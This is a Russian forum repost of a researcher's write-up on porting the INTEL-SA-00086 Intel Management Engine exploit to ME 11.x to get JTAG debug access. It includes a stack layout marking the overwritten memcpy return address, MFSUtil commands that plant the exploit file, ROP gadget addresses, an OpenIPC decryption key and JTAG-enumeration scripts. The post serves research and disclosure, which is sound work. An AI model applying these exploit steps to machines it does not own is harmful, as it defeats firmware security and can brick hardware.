Статья Эксплуатирование Движка Управления Intel - Часть 2: Включение RED разблокировки JTAG на Intel ME 11.x (INTEL-SA-00086)

g00db0y

g00db0y

Red Team
11.06.2018
94
393
Оригинал статьи находится здесь:
Привет, друг! Давно не виделись! Я начинаю эту статью сразу после того, как опубликую первую часть: Понимание TXE PoC PT.

Если вы не читали первую часть, то прочтите её прямо сейчас, потому что это всего лишь продолжение моего предыдущего поста, но из-за его длины я решил разделить его на несколько частей.

Теперь, когда мы знаем, как работает существующий эксплойт TXE, но нам нужно перенести его на ME 11.x. К сожалению, метод systracer очень сложно воспроизвести, так как вы контролируете только несколько битов в адресе возврата и имеете возможность изменить адрес возврата на тот, который действителен, но это не приводит к аварийному завершению, а возвраты корректно в наш ROP - очень сложны. В моем случае, я фактически начал портировать его на ME 11.0.0.1180, который даже не установил значения systracer, так что у меня не было выбора, кроме как посмотреть эксплойт, объясненный в презентации BlackHat Europe 2017: Использование метода memcpy.


Сбор необходимой информации

Я избавлю вас от подробностей показа любого реверснутого кода и просто перейду к делу.

  • Раздел MFS использует фрагменты по 64 байта каждый.
  • Функция чтения MFS читает во временный буфер размером 1024 байта, и если части файловой системы последовательны, она может читать несколько частей (до 16) одновременно.
  • Файл "/home/mca/eom" в файле MFS fitc.cfg должен содержать один байт со значением 0x00
  • DCI должен быть активирован с помощью множителей опорной частоты процессорных ядер (или просто CPU Straps) в IFD (Intel Flash Descriptor).
  • Есть альтернативный вектор выполнения, который может произойти: если в MFS есть домашний раздел (индекс файла 8), это может привести к тому, что эксплойт не сработает, поэтому убедитесь, что раздел MFS не имеет файла с индексом 8 (подробнее об этом позже).
  • В связи с вышесказанным, необходимо включить HAP бит. Если ME загрузится полностью (т.е. не будет отключен через HAP), то домашний раздел будет создан в MFS и эксплойт перестанет работать. Вместо этого ME перестанет работать должным образом и машина станет кирпичом.
  • Структура контекста разделяемой памяти со смещением 0x68 контекста syslib, внутри этого контекста, со смещением 0x28, находится указатель на дескрипторы разделяемой памяти, а со смещением 0x2C - количество корректных дескрипторов разделяемой памяти.
  • Обратите внимание, что контекст разделяемой памяти находится внутри системного контекста, а не просто указатель на него, поэтому указатель на дескрипторы разделяемой памяти находится со смещением 0x90 (0x68 + 0x28) системного контекста
  • Дескрипторы блоков общей памяти имеют размер 0x14 и формат < flags, address, size, mmio, thread_id >, где flags, устанавлены в 0x11, работают нормально (думаю, бит 0 отвечает за 'in use', не уверен насчет бита 4, но он был установлен в схеме как init_trace_hub), а thread_id в нашем случае установлен как 0.
Что бы понять запутанные последние пункты о дескрипторах общей памяти, вот немного измененный график с одного из слайдов BlackHat Europe 2017 :


1577805377953.png

Слайд 43 "Как взломать выключенный компьютер или запустить неподписанный код в движке управления Intel".


Мой старый Librem 13 - это аппарат на Skylake, и я использовал его для всех своих тестов, так как его очень легко запускать и без проблем проводятся различные тесты. Librem 13 имеет ME версию 11.0.18.1002 (если кто-то захочет протестировать на определенном версии).

Теперь, первое, что нам нужно сделать, это выяснить, где находится наш стек. Для этого мы открываем модуль BUP в IDA и проверяем самую первую функцию, которая вызывается из точки входа (перед основной).

1577805406618.png



Эта функция инициализирует контекст syslib, структуру TLS и стек, поэтому мы найдем в нем тщательно закодированные значения всех этих вещей. Вот как это выглядит :

1577805414363.png



Теперь я знаю, что мой адрес стека для ME 11.0.18.1002 - 0x60000, а syslib контекст - 0x82CAC с размером 0x218 (пока это не очень полезная информация).

Что я буду делать дальше? Нужно идти к точке входа и следовать за вызовами push/pop/call/ret, чтобы получить полную картину стека до интересующего меня memcpy, как я делал это в своей предыдущей статье. Вот результат :

Код:
ME 11.0.18.1002 STACK - bup_entry :
0x60000: STACK TOP
0x5FFEC: TLS

0x5FFE8: ecx - arg to bup_main
0x5FFE4: edx - arg
0x5FFE0: eax - arg
0x5FFDC: retaddr - call bup_main
  0x5FFD8: saved ebp of bup_entry

  0x5FFD4: 0 - arg to bup_run_init_scripts
  0x5FFD0: retaddr - call bup_run_init_scripts
    0x5FFCC: saved ebp of bup_main
    0x5FFC8: saved edi
    0x5FFC4: saved esi
    0x5FFC0: saved ebx
    0x5FFBC: var_10

    0x5FFB8: retaddr - call bup_init_trace_hub
      0x5FFB4: saved ebp of bup_run_init_scripts
      0x5FFB0: saved esi
      0x5FFAC: saved ebx
      0x5FC64: STACK esp-0x348
        0x5FFA8: security cookie
        0x5FC80: ct_data
        0x5FC6C: si_features
        0x5FC68: file_size
        0x5FC64: bytes_read

        0x5FC60: edx - arg to bup_dfs_read_file
        0x5FC5C: eax - arg
        0x5FC58: esi - arg
        0x5FC54: 0 - arg
        0x5FC50: "/home/bup/ct" - arg
        0x5FC4C: retaddr - call bup_dfs_read_file
          0x5FC48: saved ebp of bup_init_trace_hub
          0x5FC44: saved edi
          0x5FC40: saved esi
          0x5FC3C: saved ebx
          0x5FB9C: STACK esp-0xA0

          0x5FB98: 0 - arg to bup_read_mfs_file
          0x5FB94: edi - arg
          0x5FB90: esi - arg
          0x5FB8C: eax - arg
          0x5FB88: 7 - arg
          0x5FB84: retaddr - call bup_read_mfs_file
            0x5FB80: saved ebp of bup_dfs_reads_file

            0x5FB7C: eax - arg to bup_read_mfs_file_ext
            0x5FB78: sm_block_id - arg
            0x5FB74: size - arg
            0x5FB70: offset - arg
            0x5FB6C: file_number - arg
            0x5FB68: msf_desc - arg
            0x5FB64: retaddr - call bup_read_mfs_file_ext
              0x5FB60: saved ebp of bup_read_mfs_file
              0x5FB5C: saved edi
              0x5FB58: saved esi
              0x5FB54: saved ebx
              0x5F6E8: STACK esp-0x46C

              0x5F6E4: ebx - arg to sys_write_shared_mem
              0x5F6E0: ebx - arg
              0x5F6DC: eax - arg
              0x5F6D8: cur_offset - arg
              0x5F6D4: sm_block_id - arg
              0x5F6D0: var_478 - arg
              0x5F6CC: retaddr - call sys_write_shared_mem
                0x5F6C8: saved ebp of bup_read_mfs_file_ext
                0x5F6C4: saved edi
                0x5F6C0: saved esi
                0x5F6BC: saved ebx
                0x5F6AC: STACK esp-0x10

                0x5F6A8: ebx - arg to memcpy_s
                0x5F6A4: edi - arg
                0x5F6A0: edx - arg
                0x5F69C: esi - arg
                0x5F698: retaddr - call memcpy_s
                  0x5F694: saved ebp of sys_write_shared_mem
                  0x5F690: saved edi
                  0x5F68C: saved esi
                  0x5F688: saved ebx

                  0x5F684: copysize - arg to memcpy
                  0x5F680: edi - arg
                  0x5F67C: ebx - arg
                  0x5F678: retaddr - call memcpy  <-------------- TARGET ADDRESS 0x5F678
                    0x5FB60: saved ebp of memcpy_s
                    0x5FB5C: saved edi
                    0x5FB58: saved esi
                    0x5FB54: saved ebx

Буфер ct_data находится по адресу 0x5FC80, что означает, что он все еще находится со смещением 0x380 от вершины стека. Также видно, что адрес возврата к вызову memcpy находится в 0x5F678, что означает, что он находится со смещением 0x988 от вершины стека. Именно это адрес/значение, которое мы хотим перезаписать нашим эксплойтом. Если мы сможем заменить этот адрес возврата на адрес, указывающий на наш ROP, то мы идем по правильному пути.

Что еще нам нужно? Похоже что больше и ничего, да? Мы настроили наши ROPs на выполнение любых наших команд (подробнее об этом позже), заполнили остальную часть файла до 0x380 нашим syslib контекстом так, что у нас есть действительное количество дескрипторов разделяемой памяти (на Apollolake наш идентификатор разделяемого блока памяти был '2', но мы не будем рисковать, мы используем 20!), и если все наши дескрипторы общей памяти будут указывать на один и тот же целевой адрес, то мы установим нашу структуру TLS в конце тех 0x380 байт, которые сами по себе указывают на syslib контекст в нашем файле.

Как только считывается последний фрагмент файла, TLS заменяется, и syslib-контекст тоже. Это означает, что следующий фрагмент, который будет прочитан и скопирован, будет тем, который перезапишет наш адрес возврата. Это означает, что мы добавим дополнительный фрагмент в файл (64 байта) со значением, которое мы хотим записать по адресу возврата. Учитывая, что записываемое нами значение будет возвращено, это означает, что мы можем поместить наши ROP-ы прямо туда, но мы просто сделаем pop esp; ret ROP не полные.


Файловая система MFS

Да, технически это все что нам нужно, но здесь есть пара проблем. Первая - это то, что мы не контролируем файл MFS. Если мы используем утилиту Intel для добавления файла конфигурации TraceHub, файл будет находиться в разделе MFS, то есть, он будет прочитан сразу, так как мы уже установили, что ME оптимизирует чтение MFS и может прочитать до 16 блоков за одну операцию. Решение этой проблемы заключается в том, чтобы убедиться, что части не находятся в последовательном порядке, а это означает, что мы должны сами управлять файлом MFS.

Для этого нам нужно понять, как работает файловая система MFS. К счастью, Dmitry Sklyarov (также из компании Positive Technologies) выступил с собственной на той же конференции BlackHat Europe 2017, в которой объяснялось, как работает ME File System внутри компании. Информацию об этом можно подчеркнуть в его . Кроме того, он выпустил небольшой инструмент под названием , который можно использовать для извлечения файлов из раздела MFS.


К сожалению, parseMFS не позволяет добавлять или изменять раздел MFS каким-либо образом, поэтому я написал свою утилиту, MFSUtil, которая использует знания, которыми поделился Дмитрий в своей презентации, и позволяет манипулировать разделом MFS любым удобным для нас способом. Точнее, он позволяет нам :

  • Заменить файл "/home/bup/ct" непосредственно нашим эксплойтом.
  • Заменить "/home/mca/eom" так, чтобы его содержимое было 0, если это необходимо.
  • Деоптимизировать файл так, чтобы части никогда не были последовательными, заставляя ME читать каждую часть по отдельности.
  • Выровнять файл по границам стартовых/завершенных фрагментов.

Последняя функция была написана потому, что, хоть нам повезло, и 0x380 заканчивается на границе фрагмента, это не всегда так (например, ME 11.0.0.1180 имеет ct_data со смещением 0x384), так что файл ct должен быть выровнен таким образом, чтобы последний байт заканчивался на последнем байте фрагмента, так что когда этот фрагмент читается, заменяется всю структуру TLS, а не только ее часть. Маленький ROP, который мы пишем для замены возвращаемого адреса memcpy, действительно тот, который записывается, а не последний байт структуры TLS.

Сейчас я выпустил инструмент MFSUtil на (и блин, мой первый коммит был в апреле 2018 года, я не знал, что на самом деле прошло больше года, прежде чем я начал работать над этим), и если вы посмотрите на каталог примеров, вы найдете скрипт, который я использую для генерации нового загрузочного образа ядра с эксплуатируемым файлом ct, но он в основном делает это :

Bash:
# Extract file number 7 (fitc.cfg)
../MFSUtil.py -m MFS.part -x -i 7 -o 7.cfg

# Remove the /home/bup/ct file from it
../MFSUtil.py -c 7.cfg -r -f /home/bup/ct -o 7.cfg.noct

# Add the new ct file as /home/bup/ct
../MFSUtil.py -c 7.cfg.noct --add ct --alignment 2 --mode ' ---rwxr-----' --opt '?--F' --uid 3 --gid 351 -f /home/bup/ct -o fitc.cfg

# Delete file id 8 (home) from the MFS partition
../MFSUtil.py -m MFS.part -r -i 8 -o MFS.no8

# Delete file id 7 (fitc.cfg) from the MFS partition
../MFSUtil.py -m MFS.no8 -r -i 7 -o MFS.no7

# Add the modified fitc.cfg into the MFS partition
../MFSUtil.py -m MFS.no7 -a fitc.cfg --deoptimize -i 7 -o MFS.new

Я не собираюсь тратить свое время на объяснение того, как работает файловая система или как работает сам инструмент. Дмитрий очень хорошо объяснил внутреннюю работу MFS раздела в своей презентации на BlackHat Europe 2017, и вы можете воспользоваться опцией --help инструмента (или прочитать его README файл), чтобы понять, как его использовать. Важной частью является то, что это делает все необходимое для того, чтобы файл ct находился в разделе MFS должным образом, и чтобы эксплойт заработал.


ROPs: Возвратно-ориентированное программирование

Здесь становится немного интереснее. Используемые ROPs будут очень простыми, нужно включить RED разблокировку и сделать бесконечный цикл, о и найти pop esp; ret.

Если вы не знакомы с (Return Oriented Programming), ну... эта заметка, наверное, уже слишком глубока для вас, и я не собираюсь делать учебник по ROP (может быть, в другой раз), но основная посылка заключается в том, что если вы не можете написать свой собственный код для выполнения, то вы можете использовать существующий код и создать фальшивый стек, в котором будут выполняться несколько инструкций в конце существующей/легитимной функции, после чего функция вернется к следующим инструкциям, которые вы захотите выполнить. Сковывая все эти "гаджеты ROP", вы можете заставить его делать все, что захотите.

Если вы видели мой анализ ROP-ов из предыдущей статьи, то вы видели, что для TXE это делают :

C++:
// Enable DCI
side_band_mapping(0x706a8, 0x100);
put_sel_word(0x19F, 0, 0x1010); // Sets 0x19F:0 to 0x1010

// Set DfX-agg personality
side_band_mapping(0x70684, 0x100);
put_sel_word(0x19F, 0x8400, 3); // Sets 0x19F:8400 to 3

loop();
Но есть две вещи, которые вызывают любопытство. Во-первых, нам не нужно включать DCI, потому что, если вы читали презентацию BlackHat Europe 2017 от Maxim Goryachi и Mark Ermolov, то вы знаете, что вам нужно включить DCI перед выполнением эксплойта, иначе регистр согласия DfX Aggregator будет заблокирован, поэтому мы включаем DCI, используя CPU strap в Intel Flash Descriptor. Так что, нам нужно сделать только одно: установить значение индивидуальности DfX-Agg равным 3. Теперь, как вы видели выше, здесь есть несколько таинственных чисел: что такое 0x70684 и почему сегмент 0x19F и смещение 0x8400. Чтобы объяснить это, давайте немного поговорим о интерфейсе Sideband.


Боковая полоса IOSF

1577805823912.png

Хороший вид IOSF

Я не буду углубляться в объяснения о боковой полосе IOSF, поскольку более подробно расскажу о ней в третьей части этой серии статей. Нет, IOSF - это не , хотя это первый результат, который дает мне Google, и он намного симпатичнее, чем версия этой аббревиатуры от Intel. IOSF означает Intel On-Chip System Fabric, и я думаю, что это просто причудливое слово, означающее "хаб, к которому все подключается".

То, как я это понимаю (и, возможно, я ошибаюсь в какой-том мере, если это так, я виню в этом мои попытки упростить объяснение, но, очевидно, я знал, о чем говорю... и так... ), это то, что оптимизация микросхем Intel заставила их использовать архитектуру, где каждое IP-ядро подключено к IOSF (помните моё учебное пособие о том, как работают компьютеры с прошлого месяца? Так что да, каждое подключено к IOSF, и оттуда все может взаимодействовать со всем, пока они имеют на это право.

Поэтому, когда процессор захочет «поговорить» с контроллером USB, он будет «говорить» с PCH через контроллер PCI, а мост PCI будет «говорить» с контроллером USB через IOSF и переадресовывать команды. Боковая полоса (sideband) - это способ общаться с устройством напрямую, проходя через IOSF и сообщать ему, с каким устройством мы хотим «поговорить» и как, вместо того, чтобы использовать любую шину, предназначенную для связи с устройством.


Таинственное значение 0x70684, которое вы видели ранее, на самом деле можно разделить на эти атрибуты :
  • bit 29: 0 – не уверен...
  • bit 28: 0 - размещено
  • bits 27-24: 0 - BAR
  • bits 23-16: 0x07 - записывать opcode
  • bits 15-8: 0x06 – читать opcode
  • bits 7-0: 0x84 – ID порта боковой полосы

Вещи, которые я узнал об этом : чтение опкода - это всегда четное число, записывающий опкод - это тот же самый +1 (чтение 0, запись 1, чтение 2, запись 3 и т.д..), также это те опкоды для чтения/записи, которые я знаю:
  • Opcode 0 : прочтение/запись BAR
  • Opcode 2: неиспользованный(?)
  • Opcode 4: читение/запись пространства конфигурации PCI
  • Opcode 6: чтение/запись приватного пространства конфигурации

Теперь, найти идентификатор порта боковой полосы - следующая задача. Можно легко найти что-нибудь для Skylake, просто возьмите том 1 от Intel, и посмотрите на последние две страницы в главе Primary to Sideband Bridge, и вы найдете их в списке:

1577805878930.png

Некоторые боковые полосы-идентификаторы портов


На фото их гораздо больше, и вы видите, что 0xB8 - это идентификатор порта для DCI, хотя он нам и не нужен. Проблема в том, что устройство DfX-Agg не указано в спецификации, потому что это не "общедоступное устройство" (оно предназначено только для того, чтобы на него указывал ME), и нам нужно найти его самостоятельно, посмотрев на сборку BUP. Я не буду утомлять вас деталями (в основном, потому что, честно говоря, я не помню, как я его нашел), но ID порта - 0xB7.


На самом деле, в BUP-модуле уже есть DfX-Agg-устройство, отображённое на MMIO, так что, глядя на init-скрипты, которые выполняются до bup_init_trace_hub, я могу найти функцию bup_init_dci, что не требует особых усилий (и, к счастью, я уже видел, как она выглядит в слайде 27 из 34-й презентации CCC). Функция выглядит примерно так :

C++:
void bup_init_dci() {
  int pch_strap0;
  bup_get_pch_straps(0, &pch_strap0);

  if (!(pch_strap0 & 2))
    bup_disable_dci();
  else
    bup_enable_dci();
  if (bup_is_dci_enabled())
    bup_set_dfx_agg_consent();
  else
    bup_lock_dfx_agg();
  // Stack Guard
}

А затем, глядя на функцию bup_set_dfx_agg_consent, она выглядит вот так:

Код:
void bup_set_dfx_agg_consent() {
  int consent = get_segment_dword(0x10F, 4); // Read 32 bits from 0x10F:4
  set_segment_dword(0x10f, 4, consent | 1); // Write to 0x10F:4
}

Ну, это довольно легко, если мы хотим писать в DfX-агрегатор. Нам не обязательно писать в боковой порт напрямую, мы можем просто написать в MMIO в сегменте 0x10F и он должен сделать работу за нас. Обратите внимание, что MMIO просто отображается на DfX-Agg устройство через боковую полосу, и я думаю, что нашел идентификатор порта боковой полосы, посмотрев, как настраивается отображение боковых полос для MMIO диапазонов.


Назад к ROP

Итак, теперь вернемся к нашему ROP, все, что нам нужно сделать, это вызвать эту функцию с помощью ROP set_segment_dword(0x10F, 0, 3), что должно быть просто!

Чтобы найти, какие ROPы мы можем использовать, и найти нужные нам гаджеты, мы можем использовать этот очень полезный инструмент, называемый . Используя Ropper, я смог найти адрес pop esp; ret и jmp $ инструкции для бесконечного цикла, а также все остальное, что мне может понадобиться. В итоге я получил этот маленький ROP :

Python:
 # Write dfx personality = 0x3
    rops += rop(0x11B9)            # set_selector_dword
    rops += rop(0x44EA3)         # infinite_loop
    rops += rop(0x10F)             # param 1 - selector
    rops += rop(0)            # param 2 - offset
    rops += rop(0x3)            # param 3 - value

Как только это будет сделано, я могу попробовать. И... да, да, это сработало, даже если вы еще не можете это понять почему. Все успешно произошло потому, что у меня нет возможности отладить ME, потому что Intel IPC фреймворк, который предоставляет Intel System Studio, не (очевидно) поддерживает ядро ME в его JTAG-конфигурации. Я займусь этим через минуту, но да, этого достаточно, чтобы заставить его работать.

Позже я улучшил ROPы, чтобы на самом деле записать исходный syslib-контекст в структуру TLS. Затем, сбросил стек, чтобы init-скрипты могли продолжить выполнение и главное , что бы закончили свою работу, так что после выполнения эксплойта я все еще могу включить компьютер (то же самое, что PT сделал с изменениями CPU Bringup для TXE).


Подводя итог :
  • Найдите адрес стека и адрес контекста Syslib из первого вызова в функции записи BUP.
  • Следуйте всем командам push/pop/call/ret, чтобы построить карту того, как должен выглядеть стек.
  • Найти смещение данных CT в стеке
  • Найти адрес обратного адреса вызова memcpy
  • Создайте файл CT таким образом, чтобы у вас было:
    • ROPы для установки уровня RED для DfX-агрегатора и восстановления стека
    • Syslib контекст, указывающий на дескрипторы разделяемой памяти
    • Дескрипторы разделяемой памяти (Не забывайте, что размер вашего буфера должен быть размером вашего файла + 0x40, так как в конце у вас есть один лишний фрагмент, а ваш адрес должен быть адресом target_address - offset)
    • TLS данные, указывающие на пользовательский контекст syslib
    • Дополнительный фрагмент в конце файла, который имеет ROP с pop esp; ret и указатель на ваши фактические данные ROP в начале файла.
  • Добавьте свой пользовательский CT-файл в MFS-раздел с помощью , убедившись, что он выравнивается с концом кусков и не использует последовательные куски в цепочке
Я загрузил свой скрипт для генерации файла CT для ME 11 в развилке PT's TXE POC репозитория. Он имеет смещения и ROPы как для Skylake (ME 11.0.18.1002), так и для Kabylake (ME 11.6.0.1126). В настоящее время он находится в ветке . Я не знаю, будет ли эта ветка удалена в конце концов и попадёт в ли мастерскую, или она будет официально слита вверх по течению (это уже не TXE, поэтому, может и не будет слита?), несмотря ни на что, вот репозиторий : .


OpenIPC

OpenIPC является последним шагом в этом увлекательном приключении! Это библиотека и инструмент Python, и я не знаю, что еще можно сказать. В основном это то, что мы используем для связи с ME на машине. Репозиторий Positive Technologies хорошо объясняет, как найти ключ расшифровки для конфигурационных файлов OpenIPC и как их расшифровать.

Вторым шагом является применение патча к конфигурационным файлам для добавления поддержки ME.

Проблема в том, что на Apollolake, конфигурационный файл имеет каждый JTAG TAP (Test-Access Port) и эти порты определенны, в то время как в Skylake порты не определяются (ну, он поддерживает только действительные ядра процессора, но не поддерживает ни одно из других внутренних устройств).

Детальное разъяснение XML-формата этих файлов, как они используются, как работает сам JTAG и все остальное – это уже другой урок и на другой отдельный пост. Но скорее всего я за это не возьмусь, ибо я был просто ошеломлен, пытаясь разобраться в этом, и в основном стучал по клавиатуре, как обезьяна, пока что-то не заработало, а потом стер все эти знания из своего мозга, потому что меня просто тошнило.

То, как работает JTAG (более или менее) - это то, если бы у вас была бы топология/иерархия, и у вас есть устройство, у которого есть дети, и эти дети могут иметь своих собственных детей, и если вы не знаете полного пути к устройству, вы не можете с ним «разговаривать». Если вы ошиблись в "индексе" этих детей на пути, то вы будете говорить с кем-то другим. К счастью, это не очень серьезная ошибка, так что вы можете просто сказать "3-й ребенок 2-го ребенка 4-го ребенка", и вам не нужно указывать, что каждый из них в ссылке. Так что если вы сделаете ошибку, или если в первом девайсе будет только 1 ребенок, то вы просто будете говорить с "не тем ребенком не того ребенка", а не сможете общаться вообще. По крайней мере, я думаю, что так оно и работает... Я не совсем уверен, что все работает именно так, и мне совершенно все равно, но важно то, что вам не нужно говорить "Я хочу поговорить с устройством с ID x", вместо этого вы говорите "Я хочу поговорить с устройством 3->2->4", а затем спрашиваете у него ID.


Эта топология определена в XML-файле, и я написал скрипт, который сгенерировал XML-файл, который, по сути, перебирает все возможности. Так что для каждого устройства я определяю 8 под-устройств, а для каждого из этих под-устройств я определяю 8 других под-устройств, до глубины 4 или даже не помню, сколько их. Поэтому, потратив несколько дней на то, чтобы разобраться в этом, я просто написал этот скрипт:

Python:
def genTaps(max, depth=0, max_depth=1, parent="SPT_TAP"):
    res = ""
    for i in xrange(0, max, 2):
        name = "%s_%s" % (parent, i)
        res += ('  ' * depth + '<Tap Name="%s" IrLen="8" IdcodeIr="0x0C"  VerifyProc="verify_idcode()" SerializeProc="common.tap.add_tap(0x11,%s,%s)" DeserializeProc="common.tap.remove_tap(0x11,%s,%s)" AdjustProc="common.tap.read_idcode_and_remove_if_zero()" InsertBeforeParent="false">\n' % (name, i, max, i, max))
        if depth + 1 < max_depth:
            res += genTaps(max, depth + 1, max_depth, name)
        res += ('  ' * depth + '</Tap>\n')
    return res
    # ProductInfo.xml needs this line added :
    # <TapInfo TapName="SPT_TAP.*" NodeType="Box" Stepping="$(Stepping)" AddInstanceNameSuffix="false"/>
    # Or whatever parent/prefix you use for the initial call set in TapName

Затем я назвал его и сгенерировал новый файл OpenIPC/Data/Xml/SPT/TapNetworks.LP.xml, добавил строку в файл ProductInfo.xml, чтобы сказать ему, что есть 'Box' узел со всеми этими TAP устройствами, затем снова запустил OpenIPC. И о чудо! Он принимает конфигурационный файл (после N-ой попытки, конечно, но давайте проигнорируем это...)!

Файл tap networks теперь весит 500KB и имеет эту огромную иерархию в около 3000 устройств, большинство из которых не существовало и выдало ошибку, когда OpenIPC попытается сканировать их idcode, и поэтому не будет добавлять их в окончательный список устройств (думая, что они просто выключены), но как только это будет сделано, он должен перечислить все устройства, которые на самом деле доступны в JTAG-цепочки.

Наконец, я запустил этот маленький код в консоли IPC python :

Python:
def displayValidIdcodes(prefix=""):
    for d in ipc.devs:
        if d.name.startswith(prefix):
            idcode = d.idcode()
            proc_id = d.irdrscan(0x2, 32)
            if proc_id != 0:
                idcode += " (" + proc_id.ToHex() + ")"
            print("%s : %s" % (d.name, idcode))

Глядя на все конфигурационные файлы с различных платформ , и пытаясь понять схему, я заметил, что процессоры ядра имеют два идентификационных кода. Первый, использующий IR (Instruction Register, как я думаю) скан-код 0xC позволяя каждому другому устройству, что дает нам реальный Idcode устройства, но, используя код IR сканирования 0x2, он дает нам 'тип процессора' или что-то в этом роде...

Как только я запустил вышеприведенный скрипт, он выдал мне список всех устройств (только одно), которые имеют не нулевой ID процессора, и которые раскрывают ядро CSME! Благодаря этому, я знаю его положение в иерархии, и я могу очистить xml файл, чтобы оставить только это устройство и дать ему правильное имя и правильную конфигурацию, чтобы я мог отлаживать его, и т.д....

XML:
      <Tap Name="SPT_RGNLEFT" IrLen="8" Idcode="0x02080003" IdcodeIr="0x0C" SerializeProc="common.soc.add_tap(0x11, 2, 16)" DeserializeProc="common.soc.remove_tap(0x11, 2, 16)" AdjustProc="common.tap.read_idcode_and_remove_if_zero()" InsertBeforeParent="false">
    <Tap Name="SPT_PARCSMEA" IrLen="8" Idcode="0x2086103" IdcodeIr="0x0C" SerializeProc="common.soc.add_tap(0x11, 2, 14)" DeserializeProc="common.soc.remove_tap(0x11, 2, 14)" AdjustProc="common.tap.read_idcode_and_remove_if_zero()"  InsertBeforeParent="false">
      <Tap Name="SPT_CSME_TAP" Idcode="0x08086101" IrLen="8" IdcodeIr="0x0C"  SerializeProc="common.soc.add_tap(0x11, 2, 14)" DeserializeProc="common.soc.remove_tap(0x11, 2, 14)" InsertBeforeParent="false"/>
          <Tap Name="SPT_PARCSMEA_RETIME" IrLen="8" Idcode="0x0008610B" IdcodeIr="0x0C" VerifyProc="verify_idcode()" SerializeProc="common.soc.add_tap(0x11, 12, 14)" DeserializeProc="common.soc.remove_tap(0x11, 12, 14)" InsertBeforeParent="false"/>
        </Tap>
      </Tap>

Кстати, это происходит на OpenIPC_1.1917.3733.100, а ключ расшифровки - 1245caa98aefede38f3b2dcfc93dabfd, так что мы можем просто расшифровать файлы OpenIPC с помощью :

python config_decryptor.py -k 1245caa98aefede38f3b2dcfc93dabfd -p C:\Intel\OpenIPC_1.1917.3733.100

Скорее всего, будет другая версия OpenIPC, если вы будете использовать последнюю версию Intel System Studio (думаю, у меня была версия 2019.4) и, следовательно, другой ключ дешифровки. Вы можете легко найти свой собственный, воспользовавшись инструкциями, которые PT выпустил вместе со своим POC репозиторием.

Есть еще одна заключительная проблема, которую необходимо решить. Всякий раз, когда я открываю OpenIPC с включенной машиной, она дает сбой из-за некоторого конфликта в конфигурации между ME ядром и основным процессором, поэтому мне нужно подключиться к машине перед тем, как я ее включу, подключиться к OpenIPC, затем включить машину, и она работает. Я уверен, что кто-то сможет придумать правильную XML конфигурацию, которая позволит мне отлаживать и ME, и процессорные ядра одновременно, но на самом деле мне это не нужно, поэтому я не тратил впустую все свое время, пытаясь добиться этого. Обратите внимание, что TXE PoC для Apollolake страдает от той же проблемы, и патчи к OpenIPC, которые выпустил PT, удаляют ядра процессора, чтобы предотвратить этот конфликт.

Независимо от этого, разница для конфигурационных файлов добавлена в мой репозиторий форком и просто убедитесь, что вы запустили OpenIPC перед включением основного процессора, и все должно быть в порядке.

И всё! Поздравляю, теперь вы можете отлаживать ME 11.x на машине Skylake или Kabylake!


1577806415228.png

Отладка CSME на Skylake


Подошел конец истории :) . В следующий раз я расскажу вам о том, как я написал быстрый USB-контроллер для CSE и как я заставил CSME нарушить работу USB и SATA-контроллеров во время загрузки ОС, что сделало все USB/SATA-накопители недоступными!

В этой заметке вы увидели выпуск проекта MFSUtil и порт ME 11.x на IntelTXE PoC, в следующей (либо завтра, либо в пятницу) я выпущу множество инструментов и скриптов, которые я использовал для работы с JTAG, так что вы можете делать более легкое нажатие на процессор ME, не борясь с ограничением библиотеки OpenIPC.


Спасибо всем

Апдейт
: Вчера, когда я спешил написать это сообщение (я писал его около 8 часов и было 4 утра), я забыл добавить небольшое спасибо всем тем, кто помогал мне на протяжении всего этого путешествия. Конечно, Mark Ermolov и Maxim Goryachy из компании Positive Technologies за то, что проделали большую часть работы и были снисходительны, ответив на все мои вопросы. Dmitry Sklyarov - за то, что вычислили формат раздела MFS и за то, что записали его для остальных, а также Peter Bosch, который дал полезные советы и помог мне немного лучше понять боковой канал, , который дал мне подсказку, как найти адрес стека из той первой функции в буп коде, а также, возможно, некоторые другие, перед которыми я извиняюсь за то, что не помню их сейчас (это было слишком давно...).


Еще раз спасибо за чтение!
 
  • Нравится
Реакции: yarr, Vertigo и fuzzz
Мы в соцсетях: